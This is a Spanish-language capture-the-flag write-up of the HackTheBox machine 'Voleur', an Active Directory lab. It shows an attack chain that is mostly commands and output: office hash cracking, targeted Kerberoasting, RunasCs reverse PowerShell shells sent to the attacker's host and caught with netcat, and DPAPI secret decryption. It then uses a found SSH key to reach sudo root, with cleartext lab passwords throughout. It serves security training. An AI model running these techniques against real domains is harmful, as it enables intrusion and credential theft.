En Voleur se descubrio un archivo XLSX protegido el cual contenia credenciales. Con el analisis de bloodhound se identifico un usuario al que se realizo Kerberoasting permitiendo el acceso por WinRM. Se accedio a otro usuario a traves de runas donde se restauro un usuario eliminado. Con este ultimo se obtuvieron credenciales locales protegidas por DPAPI. Estas dieron acceso a una clave privada SSH. Tras acceder con esta, se descubrio un backup de la base de datos de Active Directory con archivos de registro los cuales permitieron escalar privilegios.
# Nmap 7.95 scan initiated Sun Jul 6 00:37:54 2025 as: /usr/lib/nmap/nmap --privileged -p53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49668,50624,50625,50626,50650,57843 -sV -sC -oN nmap_scan 10.10.11.76Nmap scan report for 10.10.11.76
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-06 14:37:46Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)|256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
50624/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
50625/tcp open msrpc Microsoft Windows RPC
50626/tcp open msrpc Microsoft Windows RPC
50650/tcp open msrpc Microsoft Windows RPC
57843/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2025-07-06T14:38:39
|_ start_date: N/A
|_clock-skew: 7h59m43s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 6 00:39:41 2025 -- 1 IP address (1 host up) scanned in 106.98 seconds
Agregamos a nuestro archivo /etc/hosts los valores voleur.htbdc.voleur.htb.
Services Access
Las credenciales tienen acceso por ldap y smb a traves de kerberberos.
Encontramos once usuarios registrados en el dominio.
Ryan
Este usuario no muestra ningun grupo o permiso sobre otro objeto.
svc_ldap
svc_ldap tiene permisos WriteSPN sobre svc_winrm. Tambien, tiene permisos GenericWrite a traves del grupo Restore_users sobre Lacey.Miller y Todd.Wolfe.
svc_winrm
Pertenece al grupo Remote Management Users por lo que al lograr el acceso a este usuario seria posible acceder por WinRM.
SMB
Observamos que ryan tiene acceso al recurso IT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" netexec smb dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k --shares
SMB dc.voleur.htb 445 dc [*] x64 (name:dc)(domain:voleur.htb)(signing:True)(SMBv1:False)(NTLM:False)SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31Nyt
SMB dc.voleur.htb 445 dc [*] Enumerated shares
SMB dc.voleur.htb 445 dc Share Permissions Remark
SMB dc.voleur.htb 445 dc ----- ----------- ------
SMB dc.voleur.htb 445 dc ADMIN$ Remote Admin
SMB dc.voleur.htb 445 dc C$ Default share
SMB dc.voleur.htb 445 dc Finance
SMB dc.voleur.htb 445 dc HR
SMB dc.voleur.htb 445 dc IPC$ READ Remote IPC
SMB dc.voleur.htb 445 dc IT READ
SMB dc.voleur.htb 445 dc NETLOGON READ Logon server share
SMB dc.voleur.htb 445 dc SYSVOL READ Logon server share
❯
Utilizamos el modulo spider_plus de netexec para listar el recurso IT donde encontramos un archivo .xlsx.
❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" netexec smb dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k -M spider_plus --share IT -o DOWNLOAD_FLAG=True
SMB dc.voleur.htb 445 dc [*] x64 (name:dc)(domain:voleur.htb)(signing:True)(SMBv1:False)(NTLM:False)SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31Nyt
SPIDER_PLUS dc.voleur.htb 445 dc [*] Started module spidering_plus with the following options:
SPIDER_PLUS dc.voleur.htb 445 dc [*] DOWNLOAD_FLAG: True
SPIDER_PLUS dc.voleur.htb 445 dc [*] STATS_FLAG: True
SPIDER_PLUS dc.voleur.htb 445 dc [*] EXCLUDE_FILTER: ['print$', 'ipc$']SPIDER_PLUS dc.voleur.htb 445 dc [*] EXCLUDE_EXTS: ['ico', 'lnk']SPIDER_PLUS dc.voleur.htb 445 dc [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS dc.voleur.htb 445 dc [*] OUTPUT_FOLDER: /home/kali/.nxc/modules/nxc_spider_plus
SMB dc.voleur.htb 445 dc [*] Enumerated shares
SMB dc.voleur.htb 445 dc Share Permissions Remark
SMB dc.voleur.htb 445 dc ----- ----------- ------
SMB dc.voleur.htb 445 dc ADMIN$ Remote Admin
SMB dc.voleur.htb 445 dc C$ Default share
SMB dc.voleur.htb 445 dc Finance
SMB dc.voleur.htb 445 dc HR
SMB dc.voleur.htb 445 dc IPC$ READ Remote IPC
SMB dc.voleur.htb 445 dc IT READ
SMB dc.voleur.htb 445 dc NETLOGON READ Logon server share
SMB dc.voleur.htb 445 dc SYSVOL READ Logon server share
SPIDER_PLUS dc.voleur.htb 445 dc [+] Saved share-file metadata to "/home/kali/.nxc/modules/nxc_spider_plus/dc.voleur.htb.json".
SPIDER_PLUS dc.voleur.htb 445 dc [*] SMB Shares: 8(ADMIN$, C$, Finance, HR, IPC$, IT, NETLOGON, SYSVOL)SPIDER_PLUS dc.voleur.htb 445 dc [*] SMB Readable Shares: 4(IPC$, IT, NETLOGON, SYSVOL)SPIDER_PLUS dc.voleur.htb 445 dc [*] SMB Filtered Shares: 1SPIDER_PLUS dc.voleur.htb 445 dc [*] Total folders found: 20SPIDER_PLUS dc.voleur.htb 445 dc [*] Total files found: 4SPIDER_PLUS dc.voleur.htb 445 dc [*] File size average: 5.14 KB
SPIDER_PLUS dc.voleur.htb 445 dc [*] File size min: 22 B
SPIDER_PLUS dc.voleur.htb 445 dc [*] File size max: 16.5 KB
SPIDER_PLUS dc.voleur.htb 445 dc [*] File unique exts: 3(inf, xlsx, ini)SPIDER_PLUS dc.voleur.htb 445 dc [*] Downloads successful: 4SPIDER_PLUS dc.voleur.htb 445 dc [+] All files processed successfully.
❯
❯ file /home/kali/.nxc/modules/nxc_spider_plus/dc.voleur.htb/IT/First-Line\ Support/Access_Review.xlsx
/home/kali/.nxc/modules/nxc_spider_plus/dc.voleur.htb/IT/First-Line Support/Access_Review.xlsx: CDFV2 Encrypted
❯
Al intentar abrirlo este muestra que necesita una contrasena.
Cracking the Hash
Ejecutamos office2john sobre el archivo para obtener el hash y luego john con el wordlist rockyou para obtener la contrasena.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ office2john Access_Review.xlsx
Access_Review.xlsx:$office$*2013*100000*256*16*a80811402788c037b50df976864b33f5*500bd7e833dffaa28772a49e987be35b*7ec993c47ef39a61e86f8273536decc7d525691345004092482f9fd59cfa111c
❯ office2john Access_Review.xlsx > xlsx_hash
❯ john xlsx_hash --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 1 password hash(Office, 2007/2010/2013 [SHA1 512/512 AVX512BW 16x / SHA512 512/512 AVX512BW 8x AES])Cost 1(MS Office version) is 2013for all loaded hashes
Cost 2(iteration count) is 100000for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1 (Access_Review.xlsx)1g 0:00:00:01 DONE (2025-07-06 02:00) 1.000g/s 832.0p/s 832.0c/s 832.0C/s football1..legolas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯
Users Information
Tras abrir el archivo observamos una lista de usuarios con titulo, permiso y notas. Se muestran contrasenas de usuarios.
User
Job Title
Permissions
Notes
Ryan.Naylor
First‑Line Support Technician
SMB
Has Kerberos Pre‑Auth disabled temporarily to test legacy systems.
Marie.Bryant
First‑Line Support Technician
SMB
Lacey.Miller
Second‑Line Support Technician
Remote Management Users
Todd.Wolfe
Second‑Line Support Technician
Remote Management Users
Leaver. Password was reset to NightT1meP1dg3on14 and account deleted.
Jeremy.Combs
Third‑Line Support Technician
Remote Management Users
Has access to Software folder.
Administrator
Administrator
Domain Admin
Not to be used for daily tasks!
Service Account
Permissions
Notes
svc\backup
Windows Backup
Speak to Jeremy!
svc\ldap
LDAP Services
P/W – M1XyC9pW7qT5Vn
svc\iis
IIS Administration
P/W – N5pXyW1VqM7CZ8
svc\winrm
Remote Management
Need to ask Lacey as she reset this recently.
Check Passwords
Ejecutamos netexec con la lista de usuarios y contrasenas, se muestran dos pares de credenciales validas.
Como sabemos svc_ldap tiene permisos WriteSPN sobre svc_winrm, modificamos el SPN (ServicePrincipalName) de este usuario para luego realizar Kerberoasting y obtener el hash del usuario.
Tras ejecutar john sobre el hash logramos obtener la contrasena.
1
2
3
4
5
6
7
8
9
10
❯ john svc_winrm_k --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 1 password hash(krb5tgs, Kerberos 5 TGS etype 23[MD4 HMAC-MD5 RC4])Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
AFireInsidedeOzarctica980219afi (?)1g 0:00:00:04 DONE (2025-07-06 02:29) 0.2267g/s 2601Kp/s 2601Kc/s 2601KC/s AHANACK6978012..AFITA4162
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯
svc_winrm
svc_winrm pertenece al grupo Remote Management Users por lo que puede acceder por WinRM. Primero, creamos el archivo krb5.conf con la configuracion de voleur.
Accedimos por WinRM iniciando con la ejecucion de impacket-getTGT para obtener un ticket que luego utilizamos en evil-winrm para finalmente obtener una shell y la flag user.txt.
# svc_iis*Evil-WinRM* PS C:\Users\svc_winrm\Documents> .\RunasCs.exe svc_iis N5pXyW1VqM7CZ8 powershell.exe -r 10.10.14.76:1335
[*] Warning: User profile directory for user svc_iis does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'svc_iis' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()[+] Using Station\Desktop: Service-0x0-4ee52$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 6904 created in background.
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>
User - svc_ldap
A traves de RunasCS logramos la ejecucion de una shell para el usuario svc_ldap.
1
2
3
4
5
6
7
8
# svc_ldap*Evil-WinRM* PS C:\Users\svc_winrm\Documents> .\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell.exe -r 10.10.14.76:1335
[*] Warning: The logon for user 'svc_ldap' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()[+] Using Station\Desktop: Service-0x0-cde27$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2468 created in background.
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>
Este usuario es miembro de RESTORE_USERS por lo que listamos los objectos eliminados. Entre estos encontramos al usuario Todd Wolfe.
Con la contrasena encontrada en el archivo XLSX ejecutamos una shell para Todd.
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> .\RunasCs.exe todd.wolfe NightT1meP1dg3on14 whoami
[*] Warning: The logon for user 'todd.wolfe' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
voleur\todd.wolfe
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> .\RunasCs.exe todd.wolfe NightT1meP1dg3on14 powershell.exe -r 10.10.14.76:1335
[*] Warning: The logon for user 'todd.wolfe' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()[+] Using Station\Desktop: Service-0x0-10f6c7$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4400 created in background.
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>
❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.76] from voleur.htb [10.10.11.76]55384Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
voleur\todd.wolfe
PS C:\Windows\system32> whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID===============================================================voleur\todd.wolfe S-1-5-21-3927696377-1337352550-2781715495-1110
GROUP INFORMATION
-----------------
Group Name Type SID Attributes==========================================================================================================================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
VOLEUR\Second-Line Technicians Group S-1-5-21-3927696377-1337352550-2781715495-1113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State===================================================================SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
PS C:\Windows\system32>
En el directorio C:\IT\ existen tres carpetas Todd tiene acceso a Second-Line Support lo cual se relaciona al grupo del mismo nombre.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\> dir C:\IT
Directory: C:\IT
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/29/2025 1:40 AM First-Line Support
d----- 1/29/2025 7:13 AM Second-Line Support
d----- 1/30/2025 8:11 AM Third-Line Support
*Evil-WinRM* PS C:\>
Windows Credentials Manager
Tras explorar el directorio descubrimos archivo Key y Credential.
❯ echo AgAA[..]meBvmkT1RuqEZHHTpfWoKJFHs=|base64 -d > 08949382-134f-4c63-b93c-ce52efc0aa88
❯ echo AQAAAIIBA[..]9mi4fsWOVfrBp0oItY=|base64 -d > 772275FAD58525253490A9B0039791D3
❯ ll
.rw-rw-r-- kali kali 740 B Sun Jul 6 03:28:12 2025 08949382-134f-4c63-b93c-ce52efc0aa88
.rw-rw-r-- kali kali 398 B Sun Jul 6 03:28:17 2025 772275FAD58525253490A9B0039791D3
❯
DPAPI Secrets
Ejecutamos impacket-dpapi con la action de masterkey especificando el archivo master key, el SID y la contrasena, en este caso la de Todd.
Conociendo la contrasena de Jeremy ejecutamos RunasCs.
1
2
3
4
5
6
7
*Evil-WinRM* PS C:\users\svc_winrm\documents> .\RunasCs.exe jeremy.combs qT3V9pLXyN7W4m powershell.exe -r 10.10.14.76:1335
[*] Warning: The logon for user 'jeremy.combs' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()[+] Using Station\Desktop: Service-0x0-1ef3db$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 6084 created in background.
*Evil-WinRM* PS C:\users\svc_winrm\documents>
Logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
12
❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.76] from voleur.htb [10.10.11.76]60232Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
voleur\jeremy.combs
PS C:\Windows\system32>
Jeremy pertenece al grupo THIRD-LINE TECHNICIANS por lo que es posible acceder al directorio del mismo nombre en C:\IT.
Dentro del directorio encontramos una nota que indica la existencia de WSL en la maquina. El directorio Backups\ no es accesible por este usuario.
PS C:\IT\Third-Line Support> dir
Directory: C:\IT\Third-Line Support
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/30/2025 8:11 AM Backups
-a---- 1/30/2025 8:10 AM 2602 id_rsa
-a---- 1/30/2025 8:07 AM 186 Note.txt.txt
PS C:\IT\Third-Line Support> cat Note.txt.txt
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
Admin
PS C:\IT\Third-Line Support>
Tambien, econtramos una clave privada que segun los permisos probablemente sea del usuario svc_backup.
❯ ssh -i id_rsa svc_backup@voleur.htb -p 2222Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jul 6 10:35:00 PDT 2025 System load: 0.52 Processes: 9 Usage of /home: unknown Users logged in: 0 Memory usage: 47% IPv4 address for eth0: 10.10.11.76
Swap usage: 0%
363 updates can be installed immediately.
257 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Jul 6 09:51:05 2025 from 127.0.0.1
* Starting OpenBSD Secure Shell server sshd
...done.
svc_backup@DC:~$ whoami;id;pwdsvc_backup
uid=1000(svc_backup)gid=1000(svc_backup)groups=1000(svc_backup),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)/home/svc_backup
svc_backup@DC:~$
Este usuario puede ejecutar cualquier comando como root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
svc_backup@DC:~$ sudo -l -l
Matching Defaults entries for svc_backup on DC:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User svc_backup may run the following commands on DC:
Sudoers entry:
RunAsUsers: ALL
RunAsGroups: ALL
Commands:
ALL
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
ALL
svc_backup@DC:~$
Backups
Tras actualizar a una shell privilegiada encontramos que es posible acceder a Backups\ donde se observa una copia de la base de datos de Active Directory junto con SECURITY y SYSTEM.